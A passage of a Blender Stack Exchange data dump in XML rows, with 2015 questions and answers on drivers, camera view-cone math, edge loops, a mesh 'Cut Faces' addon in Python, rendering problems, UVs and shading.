  <row Id="27965" PostTypeId="2" ParentId="27958" CreationDate="2015-04-01T17:01:34.467" Score="4" Body="&lt;p&gt;This can be done two ways :&lt;br/&gt;&#xA;&lt;strong&gt;&lt;em&gt;scripted expression :&lt;/em&gt;&lt;/strong&gt; which should be one line of code and it may get complicated&lt;br/&gt;&#xA;&lt;strong&gt;&lt;em&gt;driver function :&lt;/em&gt;&lt;/strong&gt; this will make it a lot easier to control and create complex driver, we define a function then use it in the scripted expression&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;scripted expression :&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;floor(b/(2*pi))*pi/2 + (cos(b)&amp;gt;0 and sin(b)&amp;lt;0)*(b-1.5*pi) + (b&amp;lt; 0)*2*pi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where b is the angle  of the red cube &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ex8M6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;driver function:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we define a new function &lt;code&gt;calc_angle()&lt;/code&gt; and add it to the driver namespace, this function calculates the angle the same as the scripted expression but its easier to read, update and reuse in multiple drivers .&#xA;run the script in blender's text editor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import *&#xA;&#xA;two_pi = 2*pi&#xA;pi_two = pi/2&#xA;&#xA;#create new function&#xA;def calc_angle(angle):&#xA;&#xA;        new_angle = floor(angle/two_pi)*pi_two&#xA;&#xA;        if cos(angle) &amp;gt; 0 and sin(angle) &amp;lt; 0 :                &#xA;            if angle &amp;gt; 0 :&#xA;                new_angle += angle-1.5*pi&#xA;            else :&#xA;                new_angle += two_pi + angle-1.5*pi&#xA;        return new_angle&#xA;&#xA;#add the function to the driver namespace    &#xA;bpy.app.driver_namespace['calc_angle'] = calc_angle&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and setup the driver as follows :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sXHIz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-01T18:00:19.247" LastActivityDate="2015-04-01T18:00:19.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27966" PostTypeId="1" CreationDate="2015-04-01T17:19:11.247" Score="0" ViewCount="41" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ftJ0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;guys why is my blender model in both white and grey? I'm a noob, and I tried to find problems with the textures and materials, but seemingly the problem isn't there. Does anyone know why this is?&lt;/p&gt;&#xA;" OwnerUserId="13556" LastActivityDate="2015-04-01T17:19:11.247" Title="Why does my mesh have different colours" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-04-01T17:47:51.460" ContentLicense="CC BY-SA 3.0" />
  <row Id="27967" PostTypeId="2" ParentId="27937" CreationDate="2015-04-01T19:36:00.080" Score="1" Body="&lt;p&gt;After a couple of quick experiments I determined that for a square camera the following coordinates (expressed in the camera's local coordinate system) would appear in the corners of the image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x = y = sensor_width/lens /2&#xA;[±x, ±y, -1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a rectangular image, whichever dimension is larger becomes sensor_width/lens/2, and the smaller dimension is proportionally adjusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To define the half-planes in the camera's coordinate system, it's enough to calculate the cross products of the vectors pointing at the vertices of each edge, so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lr = [ x,-y,-1]&#xA;ur = [ x, y,-1]&#xA;ll = [-x,-y,-1]&#xA;ul = [-x, y,-1]&#xA;n1 = | lr × ll |&#xA;n2 = | ll × ul |&#xA;n3 = | ul × ur |&#xA;n4 = | ur × lr |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We normalize the vectors to length 1 so that we can use them in distance calculations later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to determine if a particular coordinate &lt;em&gt;c&lt;/em&gt; is in the camera's view cone convert it to camera local coordinates using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;M = cam.matrix_world.inverted()&#xA;c2 = M c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that we have &lt;em&gt;c2&lt;/em&gt; (in the camera's coordinate system) we can compute the dot product between it and the various half-plane normals.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;zi = ni ∙ c2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If all those &lt;em&gt;zi&lt;/em&gt;s are &gt;=0 then the point is in the camera's view cone.  If the original coordinate is for an object, it's useful to incorporate a fudge factor like the radius of the object's bounding sphere (centered on the coordinate) and make sure that &lt;em&gt;zi&lt;/em&gt; &gt;= -&lt;em&gt;fudge&lt;/em&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the python class based on all that math:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CameraCone:&#xA;&#xA;    def __init__(self, matrix, sensor_width, lens, resolution_x, resolution_y):&#xA;        self.matrix = matrix.inverted()&#xA;        self.sensor_width = sensor_width&#xA;        self.lens = lens&#xA;&#xA;        w = 0.5* sensor_width / lens&#xA;        if resolution_x&amp;gt; resolution_y:&#xA;            x = w&#xA;            y = w*resolution_y/resolution_x&#xA;        else:&#xA;            x = w*resolution_x/resolution_y&#xA;            y = w&#xA;&#xA;        lr = Vector([x,-y,-1])&#xA;        ur = Vector([x,y,-1])&#xA;        ll = Vector([-x,-y,-1])&#xA;        ul = Vector([-x,y,-1])&#xA;        self.half_plane_normals = [&#xA;            lr.cross(ll).normalized(),&#xA;            ll.cross(ul).normalized(),&#xA;            ul.cross(ur).normalized(),&#xA;            ur.cross(lr).normalized()&#xA;        ]&#xA;&#xA;    def from_camera(cam, scn):&#xA;        return CameraCone(cam.matrix_world, cam.data.sensor_width, cam.data.lens, scn.render.resolution_x, scn.render.resolution_y)&#xA;&#xA;    def isVisible(self, loc, fudge=0):&#xA;&#xA;        loc2 = self.matrix * loc&#xA;&#xA;        for norm in self.half_plane_normals:&#xA;            z2 = loc2.dot(norm)&#xA;            if z2 &amp;lt; -fudge:&#xA;                return False&#xA;&#xA;        return True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-04-01T19:36:00.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27968" PostTypeId="1" AcceptedAnswerId="27971" CreationDate="2015-04-01T19:41:20.580" Score="1" ViewCount="7902" Body="&lt;p&gt;If I have triangle fan that makes a circle, for example what you get when you Add-&gt;Circle, with fill type Triangle Fan, and I want to add more edge loops radially, what's the best way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can sort of do this if I extrude the outer edge, then scale down the 'old' outer edge. Once I do this I can do loop cut like normal between the two but this modifies the original edge. I'd like to figure out a way to do this that doesn't touch the outer edges.&lt;/p&gt;&#xA;" OwnerUserId="13561" LastActivityDate="2015-04-01T21:03:48.200" Title="How to add edge loops to a circle (triangle fan)" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ClosedDate="2015-07-07T18:24:09.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="27969" PostTypeId="1" CreationDate="2015-04-01T19:47:04.260" Score="3" ViewCount="150" Body="&lt;p&gt;Is there a way/a script to change the font of the stamp you can put on your renders (the thing that displays render times ect.) because I don't really like the default font.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2015-04-15T01:21:46.077" Title="Change stamp font?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27970" PostTypeId="1" CreationDate="2015-04-01T20:04:00.010" Score="2" ViewCount="80" Body="&lt;p&gt;I am trying to get a metal sheet to move upwards using two pairs of rolls&#xA;please see &lt;a href=&quot;https://github.com/eugenschindler/stackexchange/blob/master/TransportMetalSheetUp.blend?raw=true&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender File&lt;/a&gt; for an example.&#xA;However, I cannot succeed to actually grip the sheet with the two rolls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sheet is configured as a soft body and the rolls are rigid bodies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I leave a little bit of room between the sheet and rolls, the sheet just falls down because of gravity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I move the rolls closer together, so they touch the sheet, then things get unstable and the sheet flies out of the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get the physics parameters right for this or is this not the right way to go at all and should I try something different?&lt;/p&gt;&#xA;" OwnerUserId="10998" LastEditorDisplayName="user58715" LastEditDate="2019-07-05T00:05:17.870" LastActivityDate="2019-07-05T00:05:17.870" Title="How to simulate rolls that transport a metal sheet upwards in Blender Game Engine?" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27971" PostTypeId="2" ParentId="27968" CreationDate="2015-04-01T20:12:07.680" Score="6" Body="&lt;p&gt;To add edge loops on a triangle fan, select all the faces of your circle, hit &lt;kbd&gt;I&lt;/kbd&gt; button, adjust the distance of the loop with the mouse and repeat the operation with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; until you have the number of loop cuts you want.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-01T20:12:07.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27975" PostTypeId="1" CreationDate="2015-04-01T20:54:57.727" Score="0" ViewCount="89" Body="&lt;p&gt;I have a script that adds an object at a random choice of predefined coordinates.  The script works just fine, but as with the other objects that are being added by the empty that contains this script, another instance of the object is created in the same place as the first enemy and health objects.  I can't find anywhere in my code where it says to add these objects from the second layer.  My question is how can I either make the first instances of these objects automatically delete themselves, or, make the objects not appear in the first place.  Here is the &lt;a href=&quot;https://drive.google.com/open?id=0B5Rj7h_MP4waU0ZWd3QxX2I2QUk&amp;amp;authuser=0&quot; rel=&quot;nofollow&quot;&gt;.blend&lt;/a&gt; (to see the problem, view from the top middle of the map.  Thanks! &lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="5426" LastEditDate="2015-04-18T12:55:55.423" LastActivityDate="2015-04-18T12:55:55.423" Title="How to stop objects from second layer createing themselves" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27976" PostTypeId="2" ParentId="27968" CreationDate="2015-04-01T21:03:48.200" Score="1" Body="&lt;p&gt;The easy way is use the cut faces addon from STANISLAV BLINOV:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iRZkJ.gif&quot; alt=&quot;example&quot;&gt;&#xA; &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?354113-Addon-Cut-Faces-Deselect-Boundary&quot; rel=&quot;nofollow noreferrer&quot;&gt;general forum&lt;/a&gt;&#xA;how to use in circle:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=yPo0QAiuKNg&quot; rel=&quot;nofollow noreferrer&quot;&gt;video about how to use in circle&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;addon:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot; : &quot;Cut Faces&quot;,&#xA;    &quot;author&quot; : &quot;Stanislav Blinov&quot;,&#xA;    &quot;version&quot; : (1, 0, 0),&#xA;    &quot;blender&quot; : (2, 72, 0),&#xA;    &quot;description&quot; : &quot;Cut Faces and Deselect Boundary operators&quot;,&#xA;    &quot;category&quot; : &quot;Mesh&quot;,}&#xA;&#xA;import bpy&#xA;import bmesh&#xA;&#xA;def bmesh_from_object(object):&#xA;    mesh = object.data&#xA;    if object.mode == 'EDIT':&#xA;        bm = bmesh.from_edit_mesh(mesh)&#xA;    else:&#xA;        bm = bmesh.new()&#xA;        bm.from_mesh(mesh)&#xA;    return bm&#xA;&#xA;def bmesh_release(bm, object):&#xA;    mesh = object.data&#xA;    bm.select_flush_mode()&#xA;    if object.mode == 'EDIT':&#xA;        bmesh.update_edit_mesh(mesh, True)&#xA;    else:&#xA;        bm.to_mesh(mesh)&#xA;        bm.free()&#xA;&#xA;def calc_face(face, keep_caps=True):&#xA;&#xA;    assert face.tag&#xA;&#xA;    def radial_loops(loop):&#xA;        next = loop.link_loop_radial_next&#xA;        while next != loop:&#xA;            result, next = next, next.link_loop_radial_next&#xA;            yield result&#xA;&#xA;    result = []&#xA;&#xA;    face.tag = False&#xA;    selected = []&#xA;    to_select = []&#xA;    for loop in face.loops:&#xA;        self_selected = False&#xA;        # Iterate over selected adjacent faces&#xA;        for radial_loop in filter(lambda l: l.face.select, radial_loops(loop)):&#xA;            # Tag the edge if no other face done so already&#xA;            if not loop.edge.tag:&#xA;                loop.edge.tag = True&#xA;                self_selected = True&#xA;&#xA;            adjacent_face = radial_loop.face&#xA;            # Only walk adjacent face if current face tagged the edge&#xA;            if adjacent_face.tag and self_selected:&#xA;                result += calc_face(adjacent_face, keep_caps)&#xA;&#xA;        if loop.edge.tag:&#xA;            (selected, to_select)[self_selected].append(loop)&#xA;&#xA;    for loop in to_select:&#xA;        result.append(loop.edge)&#xA;        selected.append(loop)&#xA;&#xA;    # Select opposite edge in quads&#xA;    if keep_caps and len(selected) == 1 and len(face.verts) == 4:&#xA;        result.append(selected[0].link_loop_next.link_loop_next.edge)&#xA;&#xA;    return result&#xA;&#xA;def get_edge_rings(bm, keep_caps=True):&#xA;&#xA;    def tag_face(face):&#xA;        if face.select:&#xA;            face.tag = True&#xA;            for edge in face.edges: edge.tag = False&#xA;        return face.select&#xA;&#xA;    # fetch selected faces while setting up tags&#xA;    selected_faces = [ f for f in bm.faces if tag_face(f) ]&#xA;&#xA;    edges = []&#xA;&#xA;    try:&#xA;        # generate a list of edges to select:&#xA;        # traversing only tagged faces, since calc_face can walk and untag islands&#xA;        for face in filter(lambda f: f.tag, selected_faces): edges += calc_face(face, keep_caps)&#xA;    finally:&#xA;        # housekeeping: clear tags&#xA;        for face in selected_faces:&#xA;            face.tag = False&#xA;            for edge in face.edges: edge.tag = False&#xA;&#xA;    return edges&#xA;&#xA;class MESH_xOT_deselect_boundary(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Deselect boundary edges of selected faces&quot;&quot;&quot;&#xA;    bl_idname = &quot;mesh.ext_deselect_boundary&quot;&#xA;    bl_label = &quot;Deselect Boundary&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    keep_cap_edges = bpy.props.BoolProperty(&#xA;        name        = &quot;Keep Cap Edges&quot;,&#xA;        description = &quot;Keep quad strip cap edges selected&quot;,&#xA;        default     = False)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        active_object = context.active_object&#xA;        return active_object and active_object.type == 'MESH' and active_object.mode == 'EDIT'&#xA;&#xA;    def execute(self, context):&#xA;        object = context.active_object&#xA;        bm = bmesh_from_object(object)&#xA;&#xA;        try:&#xA;            edges = get_edge_rings(bm, keep_caps = self.keep_cap_edges)&#xA;            if not edges:&#xA;                self.report({'WARNING'}, &quot;No suitable selection found&quot;)&#xA;                return {'CANCELLED'}&#xA;&#xA;            bpy.ops.mesh.select_all(action='DESELECT')&#xA;            bm.select_mode = {'EDGE'}&#xA;&#xA;            for edge in edges:&#xA;                edge.select = True&#xA;            context.tool_settings.mesh_select_mode[:] = False, True, False&#xA;&#xA;        finally:&#xA;            bmesh_release(bm, object)&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;class MESH_xOT_cut_faces(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Cut selected faces, connecting through their adjacent edges&quot;&quot;&quot;&#xA;    bl_idname = &quot;mesh.ext_cut_faces&quot;&#xA;    bl_label = &quot;Cut Faces&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    # from bmesh_operators.h&#xA;    SUBD_INNERVERT    = 0&#xA;    SUBD_PATH         = 1&#xA;    SUBD_FAN          = 2&#xA;    SUBD_STRAIGHT_CUT = 3&#xA;&#xA;    num_cuts = bpy.props.IntProperty(&#xA;        name    = &quot;Number of Cuts&quot;,&#xA;        default = 1,&#xA;        min     = 1,&#xA;        max     = 100,&#xA;        subtype = 'UNSIGNED')&#xA;&#xA;    use_single_edge = bpy.props.BoolProperty(&#xA;        name        = &quot;Quad/Tri Mode&quot;,&#xA;        description = &quot;Cut boundary faces&quot;,&#xA;        default     = False)&#xA;&#xA;    corner_type = bpy.props.EnumProperty(&#xA;        items = [('SUBD_INNERVERT', &quot;Inner Vert&quot;, &quot;&quot;),&#xA;                 ('SUBD_PATH', &quot;Path&quot;, &quot;&quot;),&#xA;                 ('SUBD_FAN', &quot;Fan&quot;, &quot;&quot;),&#xA;                 ('SUBD_STRAIGHT_CUT', &quot;Straight Cut&quot;, &quot;&quot;),],&#xA;        name = &quot;Quad Corner Type&quot;,&#xA;        description = &quot;How to subdivide quad corners&quot;,&#xA;        default = 'SUBD_STRAIGHT_CUT')&#xA;&#xA;    use_grid_fill = bpy.props.BoolProperty(&#xA;        name        = &quot;Use Grid Fill&quot;,&#xA;        description = &quot;Fill fully enclosed faces with a grid&quot;,&#xA;        default     = True)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        active_object = context.active_object&#xA;        return active_object and active_object.type == 'MESH' and active_object.mode == 'EDIT'&#xA;&#xA;    def cut_edges(self, context):&#xA;        object = context.active_object&#xA;        bm = bmesh_from_object(object)&#xA;&#xA;        try:&#xA;            edges = get_edge_rings(bm, keep_caps = True)&#xA;            if not edges:&#xA;                self.report({'WARNING'}, &quot;No suitable selection found&quot;)&#xA;                return False&#xA;&#xA;            result = bmesh.ops.subdivide_edges(&#xA;                bm,&#xA;                edges = edges,&#xA;                cuts = int(self.num_cuts),&#xA;                use_grid_fill = bool(self.use_grid_fill),&#xA;                use_single_edge = bool(self.use_single_edge),&#xA;                quad_corner_type = eval(&quot;self.&quot;+self.corner_type))&#xA;&#xA;            bpy.ops.mesh.select_all(action='DESELECT')&#xA;            bm.select_mode = {'EDGE'}&#xA;&#xA;            inner = result['geom_inner']&#xA;            for edge in filter(lambda e: isinstance(e, bmesh.types.BMEdge), inner):&#xA;                edge.select = True&#xA;&#xA;        finally:&#xA;            bmesh_release(bm, object)&#xA;&#xA;        return True&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        if not self.cut_edges(context):&#xA;            return {'CANCELLED'}&#xA;&#xA;        context.tool_settings.mesh_select_mode[:] = False, True, False&#xA;        # Try to select all possible loops&#xA;        bpy.ops.mesh.loop_multi_select(ring=False)&#xA;        return {'FINISHED'}&#xA;&#xA;def menu_deselect_boundary(self, context):&#xA;    self.layout.operator(MESH_xOT_deselect_boundary.bl_idname)&#xA;&#xA;def menu_cut_faces(self, context):&#xA;    self.layout.operator(MESH_xOT_cut_faces.bl_idname)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(MESH_xOT_deselect_boundary)&#xA;    bpy.utils.register_class(MESH_xOT_cut_faces)&#xA;&#xA;    if __name__ != &quot;__main__&quot;:&#xA;        bpy.types.VIEW3D_MT_select_edit_mesh.append(menu_deselect_boundary)&#xA;        bpy.types.VIEW3D_MT_edit_mesh_faces.append(menu_cut_faces)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(MESH_xOT_deselect_boundary)&#xA;    bpy.utils.unregister_class(MESH_xOT_cut_faces)&#xA;&#xA;    if __name__ != &quot;__main__&quot;:&#xA;        bpy.types.VIEW3D_MT_select_edit_mesh.remove(menu_deselect_boundary)&#xA;        bpy.types.VIEW3D_MT_edit_mesh_faces.remove(menu_cut_faces)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11077" LastActivityDate="2015-04-01T21:03:48.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27977" PostTypeId="1" AcceptedAnswerId="27992" CreationDate="2015-04-01T21:19:05.693" Score="3" ViewCount="5554" Body="&lt;p&gt;I started making a volcano simulation recently and suddenly, today when i finished rendering my sample animation I noticed that the smoke and fire of the volcano are not present, i went into the file and rebaked the smoke and fire then I went into the render view mode and I didn't see any smoke or fire there either! I should note here that in object view I saw all of the smoke how it should be.&#xA;Pleas help me, this is for a school project and i have to hand it in soon.&#xA;Here is a link to the .blend file and an image of the final &#xA;render:&#xA;render:&lt;a href=&quot;https://www.dropbox.com/s/n3fmv6547mkluc8/0188.png?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/n3fmv6547mkluc8/0188.png?dl=0&lt;/a&gt;&#xA;.Blend:&lt;a href=&quot;https://www.dropbox.com/s/9l9lemt8x23zx3h/Volcano2.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/9l9lemt8x23zx3h/Volcano2.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13565" LastActivityDate="2016-11-03T15:45:00.373" Title="Smoke and flame not showing up in render view mode and in render" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27978" PostTypeId="1" CreationDate="2015-04-01T21:25:32.133" Score="1" ViewCount="374" Body="&lt;p&gt;I want to save the 32-bit floating point values generated in a set of OSL procedural nodes to a bumpmap. Is there any way to finagle that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if it just can't be done, I'd like to get that out of the way.&lt;/p&gt;&#xA;" OwnerUserId="13566" LastEditorUserId="-1" LastEditDate="2015-04-02T08:26:26.113" LastActivityDate="2015-04-02T15:07:52.810" Title="[Cycles]Is there any way to bake float values" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27979" PostTypeId="1" AcceptedAnswerId="28321" CreationDate="2015-04-01T21:26:58.503" Score="11" ViewCount="792" Body="&lt;p&gt;I have been playing with the settings for the text object recently, and every time I add a new text object, I need to change the font to my favorite one. (&lt;em&gt;Eurostile LT ExtendedTwo&lt;/em&gt;) Is there any way to change the default font so I do not need to change it every time I add a new text object? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XaKmL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-04-01T21:35:09.403" LastActivityDate="2016-10-13T18:00:55.977" Title="Can the default font be changed?" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27980" PostTypeId="1" CreationDate="2015-04-01T21:29:19.147" Score="11" ViewCount="22897" Body="&lt;p&gt;First question here. I came from a 3DSMax background, since then I've succeeded to find pretty much everything I needed to make the switch from 3DSMax to Blender, except for this : there a very useful option called &quot;preserve UVs&quot; that allows to move vertices / edges /faces without stretching the mapped texture on the mesh. In fact it moves the selection simultaneously in 3D view and UV view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, actually the only way to &quot;Preserve UVs&quot; in Blender is to use the &quot;Slide Edge&quot; tool and select the &quot;Correct UVs&quot; option. I would like to know if there's any workaround to apply this &quot;Correct UVs&quot; option when moving elements in 3D view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a planned feature for the further Blender's updates? Actually it's a kind a straight forward workflow, modeling everything, we have to make sure that everything is ok before Unwrapping UVs. It would be nice to have a way to going back and forth easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your answers.&lt;/p&gt;&#xA;" OwnerUserId="13567" LastEditorUserId="13567" LastEditDate="2015-04-05T17:33:01.577" LastActivityDate="2021-02-24T12:25:02.373" Title="Preserve UVs when modifying topology" Tags="&lt;modeling&gt;&lt;uv&gt;&lt;geometry&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27982" PostTypeId="1" AcceptedAnswerId="27984" CreationDate="2015-04-01T22:33:59.703" Score="10" ViewCount="3601" Body="&lt;p&gt;I'm sure we're all familiar with the Cycles normal bug (aka terminator bug) that causes bad shading on sharp edges when smooth shading is set. The normal fixes to this are to use higher levels of subsurf (which lessens but does not remove the problem), or the Edge Split modifier which solves it by splitting the sharp edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the new Pointiness attribute in Cycles materials. However, it doesn't work on areas that are Edge Split, because the edge is now technically open. If I turn off edge split, then it works, but I'm hit with shading glitches again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do that would let me use pointiness and edge split (somehow get the pointiness data before the edge split is applied?) or counter the shading glitches in some way other than edge split?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="1653" LastEditDate="2015-12-11T21:48:01.147" LastActivityDate="2017-08-29T12:04:36.497" Title="How to avoid terminator artifacts while still using smooth shading and the new pointiness attribute?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;modifiers&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27983" PostTypeId="1" CreationDate="2015-04-02T00:19:33.833" Score="2" ViewCount="805" Body="&lt;p&gt;Now that we're getting proper Cycles on AMD/ATI cards (in 2.75, and in testbuilds now), will we be able to mix them with Nvidia cards using CUDA? Would it be possible to GPU render with CUDA and OpenCL at the same time? If not, could you run 2 instances of blender, each using a different card and run 2 separate renders?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-04-02T00:19:33.833" Title="Cycles: AMD and Nvidia GPUs in the same machine?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27984" PostTypeId="2" ParentId="27982" CreationDate="2015-04-02T00:33:41.620" Score="13" Body="&lt;h1&gt;Yes&lt;/h1&gt;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://blender.stackexchange.com/a/8720/599&quot;&gt;&lt;em&gt;autosmooth&lt;/em&gt;&lt;/a&gt; (added in 2.71) instead of edge split:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bFVrm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r4nQQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;It works exactly like edge split, but without actually splitting the edge.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-02T00:40:07.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27985" PostTypeId="1" AcceptedAnswerId="27987" CreationDate="2015-04-02T03:02:33.013" Score="5" ViewCount="753" Body="&lt;p&gt;So I don't really know if this was asked before, but I sure couldn't find it, so at least this’ll make a real nice link straight to the right answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a pretty simple scene, and right now it looks like crap 'cause I'm not real great at lighting. I was watching a tutorial on the game engine (completely unrelated to my problem) and I noticed that the guy who was making the tutorial had shadows in his game, like full-on-dynamic-wicked-cool-looking-shadows. They didn't seem to be stressing his PC or anything so I thought &quot;hey that's cool&quot; and I tried to make them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a book by Mike Pan I saw that only spot-lamps and sun lamps give shadows in the game engine so I switch my Hemi out for a sun and &lt;em&gt;Surprise!&lt;/em&gt; it looks worse. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/147/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=147&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question after that fantastic monologue: How do I get pretty little shadows to make my game look awesome without weirdo lines streaking through it and messing it up?&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-04-02T06:43:57.100" Title="Shadows for games" Tags="&lt;game-engine&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
